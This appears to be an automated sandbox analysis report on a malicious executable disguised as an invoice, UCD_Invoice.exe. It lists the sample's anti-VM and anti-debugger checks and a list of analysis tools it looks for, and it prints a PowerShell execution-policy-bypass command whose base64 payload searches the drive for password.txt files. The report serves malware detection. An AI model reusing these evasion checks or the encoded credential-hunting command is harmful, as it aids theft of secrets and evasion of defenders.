Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7536, type: MEMORYSTR
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: UCD_Invoice.exe Binary or memory string: PROCMON.EXE
Source: UCD_Invoice.exe Binary or memory string: IDAG.EXE
Source: UCD_Invoice.exe Binary or memory string: OLLYDBG.EXE
Source: UCD_Invoice.exe Binary or memory string: X64DBG.EXE
Source: UCD_Invoice.exe Binary or memory string: OLLYDBG.EXEX64DBG.EXEIDAG.EXEIDA64.EXEWIRESHARK.EXEPROCEXP.EXEX32DBG.EXEPROCMON.EXEPOWERSHELL.EXE -EXECUTIONPOLICY BYPASS -COMMAND "INVOKE-EXPRESSION ([SYSTEM.TEXT.ENCODING]::UTF8.GETSTRING([SYSTEM.CONVERT]::FROMBASE64STRING('%S')))"RERROR: UNABLE TO EXECUTE POWERSHELL COMMAND.
Source: UCD_Invoice.exe Binary or memory string: WIRESHARK.EXE
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4190 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5437 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\UCD_Invoice.exe TID: 7496 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7584 Thread sleep count: 4190 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7584 Thread sleep count: 5437 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7656 Thread sleep time: -23980767295822402s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083F9A9 FindFirstFileExW, 0_2_0083F9A9
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083FE5A FindFirstFileExW,FindNextFileW,FindClose, 0_2_0083FE5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000007.00000002.1791417061.0000000005416000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: $^qyC:\Windows\WinSxS\amd64_microsoft-hyper-v-d..s-vmswitch-netsetup_31bf3856ad364e35_10.0.19041.2006_none_f93d3f541072d580\fd
Source: powershell.exe, 00000007.00000002.1791417061.0000000005416000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\Windows\WinSxS\amd64_microsoft-hyper-v-d..s-vmswitch-netsetup_31bf3856ad364e35_10.0.19041.2006_none_f93d3f541072d580\f\password.txt35_10.0.19041.1265_es-mx_09923a3484368fb6
Source: UCD_Invoice.exe, 00000000.00000003.2229450691.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWp
Source: UCD_Invoice.exe, 00000000.00000003.2229249718.0000000001023000.00000004.00000020.00020000.00000000.sdmp, UCD_Invoice.exe, 00000000.00000003.2229492381.000000000102C000.00000004.00000020.00020000.00000000.sdmp, UCD_Invoice.exe, 00000000.00000003.2229091259.0000000001022000.00000004.00000020.00020000.00000000.sdmp, UCD_Invoice.exe, 00000000.00000002.2874400410.000000000102D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: UCD_Invoice.exe, 00000000.00000003.2229124458.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp, UCD_Invoice.exe, 00000000.00000002.2874267201.0000000001000000.00000004.00000020.00020000.00000000.sdmp, ucd_info.svg.0.dr Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: powershell.exe, 00000007.00000002.1791417061.0000000005416000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: $^qawow64_microsoft-windows-ime-korean-tipprofile_31bf3856ad364e35_10.0.19041.1_none_52130437b1eb7445.746_none_ac5c820a398ca985\r\password.txtS\amd64_microsoft-hyper-v-d..s-vmswitch-netsetup_31bf3856ad364e35_10.0.19041.2006_none_f93d3f541072d
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00808030 IsDebuggerPresent,GetTempPathA, 0_2_00808030
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0082EAF5 mov ecx, dword ptr fs:[00000030h] 0_2_0082EAF5
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0082EA47 mov eax, dword ptr fs:[00000030h] 0_2_0082EA47
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083EBA9 mov eax, dword ptr fs:[00000030h] 0_2_0083EBA9
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083EBFF mov eax, dword ptr fs:[00000030h] 0_2_0083EBFF
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083EB53 mov eax, dword ptr fs:[00000030h] 0_2_0083EB53
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083EC73 mov eax, dword ptr fs:[00000030h] 0_2_0083EC73
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083EDC0 mov eax, dword ptr fs:[00000030h] 0_2_0083EDC0
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083ED69 mov eax, dword ptr fs:[00000030h] 0_2_0083ED69
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083EE17 mov eax, dword ptr fs:[00000030h] 0_2_0083EE17
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0083EE56 mov eax, dword ptr fs:[00000030h] 0_2_0083EE56
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00803EAE GetProcessHeap, 0_2_00803EAE
Enables debug privileges
Source: C:\Windows\SysWOW64\whoami.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00808CD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00808CD9
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_008096F3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_008096F3
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00835772 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00835772
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00803E9A SetUnhandledExceptionFilter, 0_2_00803E9A

HIPS / PFW / Operating System Protection Evasion
barindex
Bypasses PowerShell execution policy
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))"
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('R2V0LUNoaWxkSXRlbSAtUGF0aCAnQzpcXCcgLUZpbHRlciAncGFzc3dvcmQudHh0JyAtUmVjdXJzZSAyPm51bGwgfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBGdWxsTmFtZQ==')))" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c powershell.exe -executionpolicy bypass -command "invoke-expression ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('r2v0lunoawxksxrlbsatugf0acanqzpcxccgluzpbhrlciancgfzc3dvcmqudhh0jyatumvjdxjzzsaypm51bgwgfcbtzwxly3qtt2jqzwn0ic1fehbhbmrqcm9wzxj0esbgdwxstmftzq==')))"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -executionpolicy bypass -command "invoke-expression ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('r2v0lunoawxksxrlbsatugf0acanqzpcxccgluzpbhrlciancgfzc3dvcmqudhh0jyatumvjdxjzzsaypm51bgwgfcbtzwxly3qtt2jqzwn0ic1fehbhbmrqcm9wzxj0esbgdwxstmftzq==')))"
Source: C:\Users\user\Desktop\UCD_Invoice.exe Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c powershell.exe -executionpolicy bypass -command "invoke-expression ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('r2v0lunoawxksxrlbsatugf0acanqzpcxccgluzpbhrlciancgfzc3dvcmqudhh0jyatumvjdxjzzsaypm51bgwgfcbtzwxly3qtt2jqzwn0ic1fehbhbmrqcm9wzxj0esbgdwxstmftzq==')))" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -executionpolicy bypass -command "invoke-expression ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('r2v0lunoawxksxrlbsatugf0acanqzpcxccgluzpbhrlciancgfzc3dvcmqudhh0jyatumvjdxjzzsaypm51bgwgfcbtzwxly3qtt2jqzwn0ic1fehbhbmrqcm9wzxj0esbgdwxstmftzq==')))" Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_00809A70 cpuid 0_2_00809A70
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: GetACP,IsValidCodePage,GetLocaleInfoW, 0_2_008457E8
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: EnumSystemLocalesW, 0_2_00845BB9
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: EnumSystemLocalesW, 0_2_00845B37
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: EnumSystemLocalesW, 0_2_00835CC1
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: EnumSystemLocalesW, 0_2_00845C7A
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 0_2_00845D27
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: EnumSystemLocalesW, 0_2_00835E8B
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: EnumSystemLocalesW, 0_2_00835E08
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: GetLocaleInfoW, 0_2_00846011
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 0_2_00846182
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: GetLocaleInfoW, 0_2_008462CB
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 0_2_008463D2
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: GetLocaleInfoW, 0_2_008369E6
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\UCD_Invoice.exe Code function: 0_2_0080958F GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_0080958F
AV process strings found (often used to terminate AV products)
Source: UCD_Invoice.exe, UCD_Invoice.exe, 00000000.00000000.1616190477.000000000086D000.00000008.00000001.01000000.00000003.sdmp, UCD_Invoice.exe, 00000000.00000002.2874028334.000000000086D000.00000004.00000001.01000000.00000003.sdmp Binary or memory string: procmon.exe
Source: UCD_Invoice.exe, UCD_Invoice.exe, 00000000.00000000.1616190477.000000000086D000.00000008.00000001.01000000.00000003.sdmp, UCD_Invoice.exe, 00000000.00000002.2874028334.000000000086D000.00000004.00000001.01000000.00000003.sdmp Binary or memory string: wireshark.exe
Source: UCD_Invoice.exe, UCD_Invoice.exe, 00000000.00000000.1616190477.000000000086D000.00000008.00000001.01000000.00000003.sdmp, UCD_Invoice.exe, 00000000.00000002.2874028334.000000000086D000.00000004.00000001.01000000.00000003.sdmp Binary or memory string: procexp.exe
Source: UCD_Invoice.exe, UCD_Invoice.exe, 00000000.00000000.1616190477.000000000086D000.00000008.00000001.01000000.00000003.sdmp, UCD_Invoice.exe, 00000000.00000002.2874028334.000000000086D000.00000004.00000001.01000000.00000003.sdmp Binary or memory string: ollydbg.exe
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1417003 Sample: UCD_Invoice.exe Startdate: 28/03/2024 Architecture: WINDOWS Score: 100 26 example.com 2->26 30 Malicious sample detected (through community Yara rule) 2->30 32 Antivirus detection for URL or domain 2->32 34 Yara detected AntiVM3 2->34 36 5 other signatures 2->36 8 UCD_Invoice.exe 2 2->8         started        signatures3 process4 dnsIp5 28 example.com 93.184.216.34, 49729, 80 EDGECASTUS European Union 8->28 40 Uses ipconfig to lookup or modify the Windows network settings 8->40 42 Suspicious command line found 8->42 44 Uses whoami command line tool to query computer and username 8->44 12 cmd.exe 1 8->12         started        15 systeminfo.exe 2 1 8->15         started        17 conhost.exe 8->17         started        19 2 other processes 8->19 signatures6 process7 signatures8 46 Suspicious powershell command line found 12->46 48 Bypasses PowerShell execution policy 12->48 21 powershell.exe 19 12->21         started        50 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 15->50 52 Writes or reads registry keys via WMI 15->52 24 WmiPrvSE.exe 15->24         started        process9 signatures10 38 Found suspicious powershell code related to unpacking or dynamic code loading 21->38
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
93.184.216.34
 example.com European Union
15133 EDGECASTUS false

Contacted Domains

Name IP Active
example.com 93.184.216.34 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://example.com/ false
    		high